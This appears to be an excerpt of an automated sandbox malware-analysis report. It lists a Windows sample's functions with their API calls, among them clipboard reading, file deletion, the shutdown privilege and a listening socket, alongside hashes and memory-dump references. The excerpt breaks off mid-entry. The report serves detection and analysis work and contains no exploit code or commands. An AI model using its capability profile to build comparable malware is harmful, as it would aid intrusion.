                                                • Instruction ID: b5e7563a9ed91eccd7ae243d86dbe3758c69055349dfc2d47e44162cf1a9a832
                                                • Opcode Fuzzy Hash: 161bbf4e06826936d9cd883e0c315c16c0b75bb9c906b2c247ffd3370e217f32
                                                • Instruction Fuzzy Hash: 5A716D7191020AABDF21DFA4DC85FBEBBBDFF04740F048529EA14E6192D771A915CB60
                                                Function 0030EAFF Relevance: 30.2, APIs: 20, Instructions: 191clipboardfileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • OpenClipboard.USER32(0032CC08), ref: 0030EB29
                                                • IsClipboardFormatAvailable.USER32(0000000D), ref: 0030EB37
                                                • GetClipboardData.USER32(0000000D), ref: 0030EB43
                                                • CloseClipboard.USER32 ref: 0030EB4F
                                                • GlobalLock.KERNEL32(00000000), ref: 0030EB87
                                                • CloseClipboard.USER32 ref: 0030EB91
                                                • GlobalUnlock.KERNEL32(00000000), ref: 0030EBBC
                                                • IsClipboardFormatAvailable.USER32(00000001), ref: 0030EBC9
                                                • GetClipboardData.USER32(00000001), ref: 0030EBD1
                                                • GlobalLock.KERNEL32(00000000), ref: 0030EBE2
                                                • GlobalUnlock.KERNEL32(00000000), ref: 0030EC22
                                                • IsClipboardFormatAvailable.USER32(0000000F), ref: 0030EC38
                                                • GetClipboardData.USER32(0000000F), ref: 0030EC44
                                                • GlobalLock.KERNEL32(00000000), ref: 0030EC55
                                                • DragQueryFileW.SHELL32(00000000,000000FF,00000000,00000000), ref: 0030EC77
                                                • DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 0030EC94
                                                • DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 0030ECD2
                                                • GlobalUnlock.KERNEL32(00000000), ref: 0030ECF3
                                                • CountClipboardFormats.USER32 ref: 0030ED14
                                                • CloseClipboard.USER32 ref: 0030ED59
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Clipboard$Global$AvailableCloseDataDragFileFormatLockQueryUnlock$CountFormatsOpen
                                                • String ID:
                                                • API String ID: 420908878-0
                                                • Opcode ID: d02b114c1e89aa9d2f3733ddd7acf44732c0596ce1c082b77a826a8ad558a55b
                                                • Instruction ID: 4a90d1335bea9eaa8ebac0a0c622151288209470b96e748c30be2e2e2bceeb68
                                                • Opcode Fuzzy Hash: d02b114c1e89aa9d2f3733ddd7acf44732c0596ce1c082b77a826a8ad558a55b
                                                • Instruction Fuzzy Hash: 4661DF352043019FD712EF24D8A5F2EB7A8EF88714F08595DF856972E1CB31E946CBA2
                                                Function 0030698F Relevance: 21.4, APIs: 7, Strings: 5, Instructions: 363timefileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • FindFirstFileW.KERNEL32(?,?), ref: 003069BE
                                                • FindClose.KERNEL32(00000000), ref: 00306A12
                                                • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00306A4E
                                                • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00306A75
                                                  • Part of subcall function 00299CB3: _wcslen.LIBCMT ref: 00299CBD
                                                • FileTimeToSystemTime.KERNEL32(?,?), ref: 00306AB2
                                                • FileTimeToSystemTime.KERNEL32(?,?), ref: 00306ADF
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Time$File$FindLocalSystem$CloseFirst_wcslen
                                                • String ID: %02d$%03d$%4d$%4d%02d%02d%02d%02d%02d$%4d%02d%02d%02d%02d%02d%03d
                                                • API String ID: 3830820486-3289030164
                                                • Opcode ID: d93ca16442cba66c6cd2d31835775a7505935e96f9899d34da580731c7e24edf
                                                • Instruction ID: 156968e90863bb7c42d6157bc6a494616ef2292992d6bed05449fe0b37623f5d
                                                • Opcode Fuzzy Hash: d93ca16442cba66c6cd2d31835775a7505935e96f9899d34da580731c7e24edf
                                                • Instruction Fuzzy Hash: FDD161B2518300AFC710EBA4C996EAFB7ECAF88704F44491EF585C7191EB34DA54CB62
                                                Function 00309642 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 118fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • FindFirstFileW.KERNEL32(?,?,75568FB0,?,00000000), ref: 00309663
                                                • GetFileAttributesW.KERNEL32(?), ref: 003096A1
                                                • SetFileAttributesW.KERNEL32(?,?), ref: 003096BB
                                                • FindNextFileW.KERNEL32(00000000,?), ref: 003096D3
                                                • FindClose.KERNEL32(00000000), ref: 003096DE
                                                • FindFirstFileW.KERNEL32(*.*,?), ref: 003096FA
                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 0030974A
                                                • SetCurrentDirectoryW.KERNEL32(00356B7C), ref: 00309768
                                                • FindNextFileW.KERNEL32(00000000,00000010), ref: 00309772
                                                • FindClose.KERNEL32(00000000), ref: 0030977F
                                                • FindClose.KERNEL32(00000000), ref: 0030978F
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
                                                • String ID: *.*
                                                • API String ID: 1409584000-438819550
                                                • Opcode ID: 9a1251d08290f078f121b59bc12805137cb3809f797abf31ed844b9954203efb
                                                • Instruction ID: 591c249fc9065f9b3c9e059a813e4afc7bfc51be8394f4b0156b416a4108c0cb
                                                • Opcode Fuzzy Hash: 9a1251d08290f078f121b59bc12805137cb3809f797abf31ed844b9954203efb
                                                • Instruction Fuzzy Hash: AB31E032552219AECF22EFB4EC19BDE77ACAF09320F10459AF905E21E1DB30DE458A50
                                                Function 0030979D Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 111fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • FindFirstFileW.KERNEL32(?,?,75568FB0,?,00000000), ref: 003097BE
                                                • FindNextFileW.KERNEL32(00000000,?), ref: 00309819
                                                • FindClose.KERNEL32(00000000), ref: 00309824
                                                • FindFirstFileW.KERNEL32(*.*,?), ref: 00309840
                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 00309890
                                                • SetCurrentDirectoryW.KERNEL32(00356B7C), ref: 003098AE
                                                • FindNextFileW.KERNEL32(00000000,00000010), ref: 003098B8
                                                • FindClose.KERNEL32(00000000), ref: 003098C5
                                                • FindClose.KERNEL32(00000000), ref: 003098D5
                                                  • Part of subcall function 002FDAE5: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 002FDB00
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
                                                • String ID: *.*
                                                • API String ID: 2640511053-438819550
                                                • Opcode ID: 79cfb84fc1a9e99f9f1c7b613767d6941377c0b3f5329491fb6f6f47368f0ef2
                                                • Instruction ID: 96aaf3082257e380458b2e2503d57283bee18689f47967363c3c9560d5a0b563
                                                • Opcode Fuzzy Hash: 79cfb84fc1a9e99f9f1c7b613767d6941377c0b3f5329491fb6f6f47368f0ef2
                                                • Instruction Fuzzy Hash: 3031E6325026196EDF22EFB4EC59BDE77AC9F06320F11856AE910A32E1DB30DD45CE60
                                                Function 00308195 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 186timeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetLocalTime.KERNEL32(?), ref: 00308257
                                                • SystemTimeToFileTime.KERNEL32(?,?), ref: 00308267
                                                • LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00308273
                                                • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00308310
                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 00308324
                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 00308356
                                                • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 0030838C
                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 00308395
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: CurrentDirectoryTime$File$Local$System
                                                • String ID: *.*
                                                • API String ID: 1464919966-438819550
                                                • Opcode ID: 4b3c989bef8364476645fdcb568e6d171f0c93bb45a0c6a435aa285eb5453369
                                                • Instruction ID: 6aa1a68b04a1964cad261c2d67644d5956d1ab944c89350ccea1e2dc57434c02
                                                • Opcode Fuzzy Hash: 4b3c989bef8364476645fdcb568e6d171f0c93bb45a0c6a435aa285eb5453369
                                                • Instruction Fuzzy Hash: A6616A765183059FCB11EF64C8509AEB3E8FF89310F04892EF98987261EB31E955CF92
                                                Function 002FD076 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 172fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00293AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00293A97,?,?,00292E7F,?,?,?,00000000), ref: 00293AC2
                                                  • Part of subcall function 002FE199: GetFileAttributesW.KERNEL32(?,002FCF95), ref: 002FE19A
                                                • FindFirstFileW.KERNEL32(?,?), ref: 002FD122
                                                • DeleteFileW.KERNEL32(?,?,?,?,?,00000000,?,?,?), ref: 002FD1DD
                                                • MoveFileW.KERNEL32(?,?), ref: 002FD1F0
                                                • DeleteFileW.KERNEL32(?,?,?,?), ref: 002FD20D
                                                • FindNextFileW.KERNEL32(00000000,00000010), ref: 002FD237
                                                  • Part of subcall function 002FD29C: CopyFileExW.KERNEL32(?,?,00000000,00000000,00000000,00000008,?,?,002FD21C,?,?), ref: 002FD2B2
                                                • FindClose.KERNEL32(00000000,?,?,?), ref: 002FD253
                                                • FindClose.KERNEL32(00000000), ref: 002FD264
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: File$Find$CloseDelete$AttributesCopyFirstFullMoveNameNextPath
                                                • String ID: \*.*
                                                • API String ID: 1946585618-1173974218
                                                • Opcode ID: ef5701536df3a2ff10c5bed7c49e96b0a03eb6b41cad59860f886a6ed96e6bcb
                                                • Instruction ID: 437c15ecd0068113ae1c00c35c6b92fe8eeb9bbdb3c78a3bf9cf61f86a70a3e3
                                                • Opcode Fuzzy Hash: ef5701536df3a2ff10c5bed7c49e96b0a03eb6b41cad59860f886a6ed96e6bcb
                                                • Instruction Fuzzy Hash: 0C617D3182120D9BCF05EFA4CA929FDB77AAF15340F204169E90677192EB316F59CFA1
                                                Function 0030ED6A Relevance: 13.6, APIs: 9, Instructions: 102clipboardmemoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Clipboard$AllocCloseEmptyGlobalOpen
                                                • String ID:
                                                • API String ID: 1737998785-0
                                                • Opcode ID: dc368efd6842b0cc471d733819d377214a2d36479de2b57f368f0782a3169e9a
                                                • Instruction ID: 273c5b21ddc0d00cbfa7dc29d6bb3318260bca05dd9cece5685f8316477d133a
                                                • Opcode Fuzzy Hash: dc368efd6842b0cc471d733819d377214a2d36479de2b57f368f0782a3169e9a
                                                • Instruction Fuzzy Hash: DD41DD35215611AFD722CF15D898B19BBE9EF44318F19C49DE41A8BAA2C731FC42CBC0
                                                Function 002FE8F6 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 57shutdownCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 002F16C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 002F170D
                                                  • Part of subcall function 002F16C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 002F173A
                                                  • Part of subcall function 002F16C3: GetLastError.KERNEL32 ref: 002F174A
                                                • ExitWindowsEx.USER32(?,00000000), ref: 002FE932
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
                                                • String ID: $ $@$SeShutdownPrivilege
                                                • API String ID: 2234035333-3163812486
                                                • Opcode ID: 184fcad2be8fb7d25c1fc4db7c692835da5163c7eb2b9e317733f9d031a273a1
                                                • Instruction ID: bb6430180c3513ebed9e72d59f4786a33edced1f834a6b46a70b3ddd0a7d5505
                                                • Opcode Fuzzy Hash: 184fcad2be8fb7d25c1fc4db7c692835da5163c7eb2b9e317733f9d031a273a1
                                                • Instruction Fuzzy Hash: FC01F772630219ABEF252A749C86FBEB25C9B047C1F160535FE02E21E1D5E05C6085A0
                                                Function 00311204 Relevance: 12.1, APIs: 8, Instructions: 113networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                • socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00311276
                                                • WSAGetLastError.WSOCK32 ref: 00311283
                                                • bind.WSOCK32(00000000,?,00000010), ref: 003112BA
                                                • WSAGetLastError.WSOCK32 ref: 003112C5
                                                • closesocket.WSOCK32(00000000), ref: 003112F4
                                                • listen.WSOCK32(00000000,00000005), ref: 00311303
                                                • WSAGetLastError.WSOCK32 ref: 0031130D
                                                • closesocket.WSOCK32(00000000), ref: 0031133C
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: ErrorLast$closesocket$bindlistensocket
                                                • String ID:
                                                • API String ID: 540024437-0
                                                • Opcode ID: e40d69997aeea0d8925c65861dc81d3989831bb5934e149a7ffaa2f56be8e0aa
                                                • Instruction ID: 2c5379a6c3184c996dd2a6d5c88935c15469d4e322be1bc8c4f5cc85c3040ba4
                                                • Opcode Fuzzy Hash: e40d69997aeea0d8925c65861dc81d3989831bb5934e149a7ffaa2f56be8e0aa
                                                • Instruction Fuzzy Hash: FF41B3356001409FD725DF24C484BA9BBE5AF4A318F19848CD9568F2E6C771ECC2CBE1
                                                Function 002CB952 Relevance: 10.9, APIs: 7, Instructions: 370timeCOMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • _free.LIBCMT ref: 002CB9D4
                                                • _free.LIBCMT ref: 002CB9F8
                                                • _free.LIBCMT ref: 002CBB7F
                                                • GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00333700), ref: 002CBB91
                                                • WideCharToMultiByte.KERNEL32(00000000,00000000,0036121C,000000FF,00000000,0000003F,00000000,?,?), ref: 002CBC09
                                                • WideCharToMultiByte.KERNEL32(00000000,00000000,00361270,000000FF,?,0000003F,00000000,?), ref: 002CBC36
                                                • _free.LIBCMT ref: 002CBD4B
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: _free$ByteCharMultiWide$InformationTimeZone
                                                • String ID:
                                                • API String ID: 314583886-0
                                                • Opcode ID: 4158417ddfc841e80b637a220b196afd2287c569b00d31d12ab708548bb30b48
                                                • Instruction ID: 2d41a78109166ce80c71d7dbd6034ecc60f29ecd015393ae30a0d61d5e1d36e3
                                                • Opcode Fuzzy Hash: 4158417ddfc841e80b637a220b196afd2287c569b00d31d12ab708548bb30b48
                                                • Instruction Fuzzy Hash: 5FC128719242469FCB22DF788C52FAA7BB8EF41310F18479EE490D7251DB709E21CB50
                                                Function 002FD3A9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00293AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00293A97,?,?,00292E7F,?,?,?,00000000), ref: 00293AC2
                                                  • Part of subcall function 002FE199: GetFileAttributesW.KERNEL32(?,002FCF95), ref: 002FE19A
                                                • FindFirstFileW.KERNEL32(?,?), ref: 002FD420
                                                • DeleteFileW.KERNEL32(?,?,?,?), ref: 002FD470
                                                • FindNextFileW.KERNEL32(00000000,00000010), ref: 002FD481
                                                • FindClose.KERNEL32(00000000), ref: 002FD498
                                                • FindClose.KERNEL32(00000000), ref: 002FD4A1
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
                                                • String ID: \*.*
                                                • API String ID: 2649000838-1173974218
                                                • Opcode ID: ff601bec27b5dcaba7b325887f826bfa05ed1fcac18e95960ed51491b31dd286
                                                • Instruction ID: 1b6ba967fbfbaa6f4813f8c267bb95552972f43e214d0b73630b14e09edd4966
                                                • Opcode Fuzzy Hash: ff601bec27b5dcaba7b325887f826bfa05ed1fcac18e95960ed51491b31dd286
                                                • Instruction Fuzzy Hash: EE31A2310283459BC711EF64D8518BFB7E8BEA1354F404E2DF5D593191EB30AA19DBA3
                                                Function 002CE4FF Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: __floor_pentium4
                                                • String ID: 1#IND$1#INF$1#QNAN$1#SNAN
                                                • API String ID: 4168288129-2761157908
                                                • Opcode ID: 5834db453391bbc2f3aa68c440aad6148ddd5096e7ec1359577e180963af6a95
                                                • Instruction ID: a1ac2871eddae808fe55e8dc008b317f5ec453e3bc098c0de078e6f4397b1bfd
                                                • Opcode Fuzzy Hash: 5834db453391bbc2f3aa68c440aad6148ddd5096e7ec1359577e180963af6a95
                                                • Instruction Fuzzy Hash: BFC23A72E246298FDF65CE289D40BEAB7B6EB44344F1542EED40DE7240E774AE918F40
                                                Function 0030648E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 367comCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _wcslen.LIBCMT ref: 003064DC
                                                • CoInitialize.OLE32(00000000), ref: 00306639
                                                • CoCreateInstance.OLE32(0032FCF8,00000000,00000001,0032FB68,?), ref: 00306650
                                                • CoUninitialize.OLE32 ref: 003068D4
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: CreateInitializeInstanceUninitialize_wcslen
                                                • String ID: .lnk
                                                • API String ID: 886957087-24824748
                                                • Opcode ID: 57fb2e653b833b0f588549d72ad184dcf147f5dbc8d9a50d890d2720a81d5a17
                                                • Instruction ID: b4501e9e8b573d0b041bbc041e514821f1f0ad6af9964a62d0265bf106a2cc00
                                                • Opcode Fuzzy Hash: 57fb2e653b833b0f588549d72ad184dcf147f5dbc8d9a50d890d2720a81d5a17
                                                • Instruction Fuzzy Hash: D1D17A715182019FC705EF24C891E6BB7E8FF99304F10496DF5958B2A1EB30ED59CBA2
                                                Function 003122DA Relevance: 9.1, APIs: 6, Instructions: 103COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetForegroundWindow.USER32(?,?,00000000), ref: 003122E8
                                                  • Part of subcall function 0030E4EC: GetWindowRect.USER32(?,?), ref: 0030E504
                                                • GetDesktopWindow.USER32 ref: 00312312
                                                • GetWindowRect.USER32(00000000), ref: 00312319
                                                • mouse_event.USER32(00008001,?,?,00000002,00000002), ref: 00312355
                                                • GetCursorPos.USER32(?), ref: 00312381
                                                • mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 003123DF
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Window$Rectmouse_event$CursorDesktopForeground
                                                • String ID:
                                                • API String ID: 2387181109-0
                                                • Opcode ID: c4b3568522cefe9db3377294ac0a6924a72004e595f89c3d1aaabb1ba6339f97
                                                • Instruction ID: 80c7a24c6f2430a953baa63f0e3027f7df72d98e22c06d1025dc1198b73a0456
